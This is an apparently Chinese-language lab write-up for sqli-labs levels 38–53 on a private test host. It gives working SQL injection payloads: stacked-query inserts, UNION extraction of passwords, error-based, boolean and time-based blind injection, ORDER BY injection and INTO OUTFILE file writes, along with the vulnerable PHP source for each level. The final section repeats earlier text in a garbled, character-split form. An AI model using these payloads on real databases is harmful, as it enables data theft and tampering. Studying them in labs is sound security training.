声明
学习SQL注入,提高网路安全能力
information_schema
过关之前先要了解一下,我们要研究的是SQL注入,所以有必要先了解一下MYSQL数据库的重要库(表集合):information_schema,这个库中,存在着所有数据库的信息。。。这就意味着,如果我们可以利用漏洞,仅仅去查询这个库,就可以拿到关于数据库的大量信息了。
先看一下,这个数据库的位置
SCHEMATA
该表记录着所有的数据库名
图中,mysql命令行输入如喜爱命令,会显示目前为止所有的数据库(图左1)
show databases;
使用Navicat查看schemata表的SCHEMA_NAME字段显示所有的数据库(图右1)
使用Navicat连接mysql时左侧显示所有的数据库(图右2)
这三种结果都可以查看目前所有的数据库,这就意味着,如果我们可以操控SQL语句,可以通过查询SCHEMATA表里面的SCHEMA_NAME字段,来查看现有的所有数据库
TABLES
该表记录着所有的数据库与其表的对应关系
如图,该表里面,TABLE_SCHEMA字段记录着数据库,TABLE_NAME记录着TABLE_SCHEMA对应的表名称
所以靠这个账表,我们可以操纵SQL语句,查到所有的表名
COLUMNS
提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
多了一个字段COLUMN_NAME
就是所有库对应的表对应的字段
常用
闭合方式判断
判断闭合方式,目前掌握的闭合方式为单引号’’,单引号括号(’’),双引号"",双引号括号("")
当单引号或者双引号出现回显或者语法错误时,如何判断是否带括号呢?
抄袭一波大神的判断方式
遇到SQL注入第一步判断闭合:
首先尝试:
?id=1’
?id=1”
1如果都报错,则为整形闭合。
2如果单引号报错,双引号不报错。
然后尝试
?id=1' --+
?id=1' #
无报错则单引号闭合。
报错则单引号加括号。
3如果单引号不报错,双引号报错。
然后尝试
?id=1" --+
?id=1" #
无报错则双引号闭合。
报错则双引号加括号。
1
输入(其中id=1,1是正确的数据库存在的值),正常回显
?id=1 and true --+
或者
?id=true and true --+
输入,错误回显
?id=1 and false --+
或者
?id=true and false --+
那么就是整形闭合
2
输入(其中id=1,1是正确的数据库存在的值),正常回显
?id=1’ and true --+
或者
?id=true‘ and true --+
输入,错误回显
?id=1’ and false --+
或者
?id=true‘ and false --+
那么就是单引号闭合,其他符号同理
单引号转义绕过
当时用单引号’,代码转义为\’,就使用如下方式替换掉单引号
%df%27
�'
%EF%BF%BD
万能密码
�' and1=1 #
database()
返回当前数据库名
version()
返回数据库的版本号
CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串
CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符
LIMIT
mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15
//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.
//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行
//换句话说,LIMIT n 等价于 LIMIT 0,n。
sleep
left
LEFT(s,n) 返回字符串 s 的前 n 个字符
返回字符串 runoob 中的前两个字符:
SELECT LEFT(‘runoob’,2) – ru
mid
mid()函数为截取字符串一部分。mid(column_name,start,length)
column_name 必需,要提取字符的字段
start 必需,规定开始位置(起始为1)
length 可选,要返回的字符数,如果省略则返回剩余文本
eg:str=“123456” mid(str,2,1) 结果为2
substr
substr()
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度
ASCII
返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:
SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;
count
返回查询的记录总数,expression 参数是一个字段或者 * 号
返回 Products 表中 products 字段总共有多少条记录:
SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;
if
IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
SELECT IF(1 > 0,‘正确’,‘错误’)
->正确
updatexml
updatexml()函数,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
总结
所以,只要发现有SQL注入,我们可以操纵SQL语句,就可以通过上述方式,将mysql数据库的库,表,字段一个一个查询出来
刀磨好了,拿sqlilab练练手吧
第三十八关
漏洞复现
所谓堆叠注入,就是使用分号,结束上一句,分号后面跟上新的SQL语句,从而执行该语句
闭合方式为单引号
http://192.168.239.138:86/Less-38/?id=-1';insert into users(id,username,password) values(39,'Less399','Less39')--+
源码分析
获取id后,未经过任何检测
$id=$_GET['id'];
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
if (mysqli_connect_errno($con1)){
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
第三十九关
漏洞复现
闭合方式为整形
http://192.168.239.138:86/Less-39/?id=-1;insert into users(id,username,password) values(399,'Less399','Less399')--+
源码分析
查看源码sql语句可得,无任何过滤方式,闭合方式为整形
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
第四十关
漏洞复现
和38关基本一样,闭合方式为单引号括号’)
http://192.168.239.138:86/Less-40/?id=-1');insert into users(id,username,password) values(40,'Less40','Less40')--+
源码分析
闭合方式为单引号括号’)
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
第四十一关
漏洞复现
闭合方式为整形闭合
http://192.168.239.138:86/Less-41/?id=true and true --+
http://192.168.239.138:86/Less-41/?id=true and false --+
payload:
爆表名:
http://192.168.239.138:86/Less-41/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆内容:
http://192.168.239.138:86/Less-41/?id=0 union select 1,2,group_concat(password) from users --+
同样也可以堆叠注入
http://192.168.239.138:86/Less-41/?id=1;insert into users(id,username,password) values(41,'Less41','Less41')--+
源码分析
获取参数id后,未经过任何过滤,直接写入SQL语句,并且闭合方式为整形
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1
第四十二关
漏洞复现
久违的登录页面
用户名输入框怎么测也测不出来,密码输入框随便输入一个’,就报错了
密码输入框,闭合方式为单引号(使用hackbar时,要注意,参数是向login.php提交的)
payload
用户名随便输入
11111
密码
a';insert into users(id,username,password) values(42,'Less42','Less42')#
源码分析
可以看到,对参数username进行mysqli_real_escape_string,password没有进行任何处理
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
if (mysqli_connect_errno($con1)){
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
第四十三关
漏洞复现
闭合方式为单引号括号’)
login_user=111111&login_password='; --+&mysubmit=Login
login_user=111111&login_password='); --+&mysubmit=Login
payload
login_user=111111&login_password=a');insert into users(id,username,password) values(43,'Less43','Less43')#&mysubmit=Login
源码分析
可以看到,对参数username进行mysqli_real_escape_string,password没有进行任何处理,且闭合方式为单引号括号’)
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
if (mysqli_connect_errno($con1)){
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
第四十四关
漏洞复现
还是久违的登录页面
判断出来,是密码单引号闭合注入,测了半天最终使用sleep,发现了漏洞
http://192.168.239.138:86/Less-44/login.php
login_user=111111&login_password=a' or sleep(5) #&mysubmit=Login
payload
login_user=111111&login_password=a';insert into users(id,username,password) values(44,'Less44','Less44')#&mysubmit=Login
源码分析
可以看到,对参数username进行mysqli_real_escape_string,password没有进行任何处理,且闭合方式为单引号’
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
if (mysqli_connect_errno($con1)){
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
第四十五关
漏洞复现
还是久违的登录页面
判断出来,是密码单引号括号’)闭合注入,测了半天最终使用sleep,发现了漏洞
http://192.168.239.138:86/Less-45/login.php
login_user=111111&login_password=a') or sleep(5) #&mysubmit=Login
payload
login_user=111111&login_password=a');insert into users(id,username,password) values(45,'Less45','Less45')#&mysubmit=Login
源码分析
可以看到,对参数username进行mysqli_real_escape_string,password没有进行任何处理,且闭合方式为单引号括号’)
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
if (mysqli_connect_errno($con1)){
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
第四十六关
漏洞复现
换了新花样了,提示说有sort参数,sort不就是排序的意思吗?将sort换成1,2,3,查看回显结果,不太一样,当sort为4时,就回显不存在4列,查看回显结果也不难看出,一共就三列,id,username,password,sort值为几,就根据哪个进行排序,推测sort值前为order by
http://192.168.239.138:86/Less-46/?sort=1
那么,基于order by的SQL注入测试方法如下,显示结果不同(执行了用户输入的语句),则表明可以注入
?sort=1 desc
?sort=1 asc
是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行
?sort=right(version(),1)
?sort=left(version(),1)
是否为布尔类型,此时我们可以用报错注入和延时注入
?sort=rand(true)
?sort=rand(false)
或者
?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)
报错注入
?sort=1 and updatexml(1,concat(0x7e,database()),0) --+
时间盲注
?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)
源码分析
可以看到,id参数没有经过任何过滤,就写入SQL语句,并且在order by关键字后面拼接
if(isset($id)){
$sql = "SELECT * FROM users ORDER BY $id";
第四十七关
漏洞复现
使用之前的法式,测出id的闭合方式为单引号
http://192.168.239.138:86/Less-47/?sort=1' --+
http://192.168.239.138:86/Less-47/?sort=1') --+
确定了闭合方式为单引号,就和盲注有点类似
http://192.168.239.138:86/Less-47/?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
源码分析
可以看到,id参数没有经过任何过滤,就写入SQL语句,并且在order by关键字后面拼接,闭合方式为单引号’
$id=$_GET['sort'];
if(isset($id)){
$sql = "SELECT * FROM users ORDER BY '$id'";
第四十八关
漏洞复现
存在注入
?sort=1 desc
?sort=1 asc
是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行
?sort=right(version(),1)
?sort=left(version(),1)
是否为布尔类型,此时我们可以用报错注入和延时注入
?sort=rand(true)
?sort=rand(false)
或者
?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)
基于bool和time
?sort=rand((ascii(mid((select database()),1,1)))>65)
?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)
基于文件写入
?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"
源码分析
可以看到,id参数没有经过任何过滤,就写入SQL语句,并且在order by关键字后面拼接
$id=$_GET['sort'];
if(isset($id)){
$sql = "SELECT * FROM users ORDER BY $id";
第四十九关
漏洞复现
字符型注入,闭合方式为单引号
http://192.168.239.138:86/Less-49/?sort=1
http://192.168.239.138:86/Less-49/?sort=1'
payload
http://192.168.239.138:86/Less-49/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
http://192.168.239.138:86/Less-49/?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+
源码分析
可以看到,id参数没有经过任何过滤,就写入SQL语句,并且在order by关键字后面拼接,闭合方式为单引号’
$id=$_GET['sort'];
if(isset($id))
$sql = "SELECT * FROM users ORDER BY '$id'";
第五十关
漏洞复现
和48关基本一样
存在注入
?sort=1 desc
?sort=1 asc
是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行
?sort=right(version(),1)
?sort=left(version(),1)
是否为布尔类型,此时我们可以用报错注入和延时注入
?sort=rand(true)
?sort=rand(false)
或者
?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)
基于bool和time
?sort=rand((ascii(mid((select database()),1,1)))>65)
?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)
基于文件写入
?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"
源码分析
源码中使用的mysqli_multi_query()函数,而之前使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句
$id=$_GET['sort'];
if(isset($id)){
$sql="SELECT * FROM users ORDER BY $id";
if (mysqli_multi_query($con1, $sql)){
if ($result = mysqli_store_result($con1))
第五十一关
漏洞复现
和49关基本一样
字符型注入,闭合方式为单引号
http://192.168.239.138:86/Less-51/?sort=1
http://192.168.239.138:86/Less-51/?sort=1'
payload
http://192.168.239.138:86/Less-51/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
http://192.168.239.138:86/Less-51/?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+
源码分析
关也是使用的mysqli_multi_query()函数,闭合方式为单引号’
$id=$_GET['sort'];
if(isset($id)){
$sql="SELECT * FROM users ORDER BY '$id'";
if (mysqli_multi_query($con1, $sql)) {
if ($result = mysqli_store_result($con1))
第五十二关
漏洞复现
和50关基本一样
存在注入
?sort=1 desc
?sort=1 asc
是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行
?sort=right(version(),1)
?sort=left(version(),1)
是否为布尔类型,此时我们可以用报错注入和延时注入
?sort=rand(true)
?sort=rand(false)
或者
?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)
基于bool和time
?sort=rand((ascii(mid((select database()),1,1)))>65)
?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)
基于文件写入
?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"
源码分析
源码几乎一样,可能关键点在于没有报错信息吧
$id=$_GET['sort'];
if(isset($id)){
$sql="SELECT * FROM users ORDER BY $id";
第五十三关
漏洞复现
和51关基本一样
字符型注入,闭合方式为单引号
http://192.168.239.138:86/Less-53/?sort=1
http://192.168.239.138:86/Less-53/?sort=1'
payload
http://192.168.239.138:86/Less-53/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
http://192.168.239.138:86/Less-53/?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+
源码分析
也是使用的mysqli_multi_query()函数,闭合方式为单引号’,可能关键点在于也没有报错信息吧
$id=$_GET['sort'];
if(isset($id)){
$sql="SELECT * FROM users ORDER BY '$id'";
这几关order by快把我做吐了,一会单引号闭合一会整形闭合,关键还都是穿插着来,不过倒是熟悉了order by的常用手工探测方式(滚瓜烂熟)
=1 into outfile “C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\data.txt”
### 源码分析
源码几乎一样,可能关键点在于没有报错信息吧
i
d
=
id=
id=_GET[‘sort’];
if(isset($id)){
$sql=“SELECT * FROM users ORDER BY $id”;
## 第五十三关
### 漏洞复现
和51关基本一样
字符型注入,闭合方式为单引号
http://192.168.239.138:86/Less-53/?sort=1
http://192.168.239.138:86/Less-53/?sort=1’
payload
http://192.168.239.138:86/Less-53/?sort=1’ and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))–+
http://192.168.239.138:86/Less-53/?sort=1’ and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)–+
### 源码分析
也是使用的mysqli_multi_query()函数,闭合方式为单引号',可能关键点在于也没有报错信息吧
i
d
=
id=
id=_GET[‘sort’];
if(isset($id)){
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
O
R
D
E
R
B
Y
′
sql="SELECT * FROM users ORDER BY '
sql="SELECT∗FROMusersORDERBY′id’";
这几关order by快把我做吐了,一会单引号闭合一会整形闭合,关键还都是穿插着来,不过倒是熟悉了order by的常用手工探测方式(滚瓜烂熟)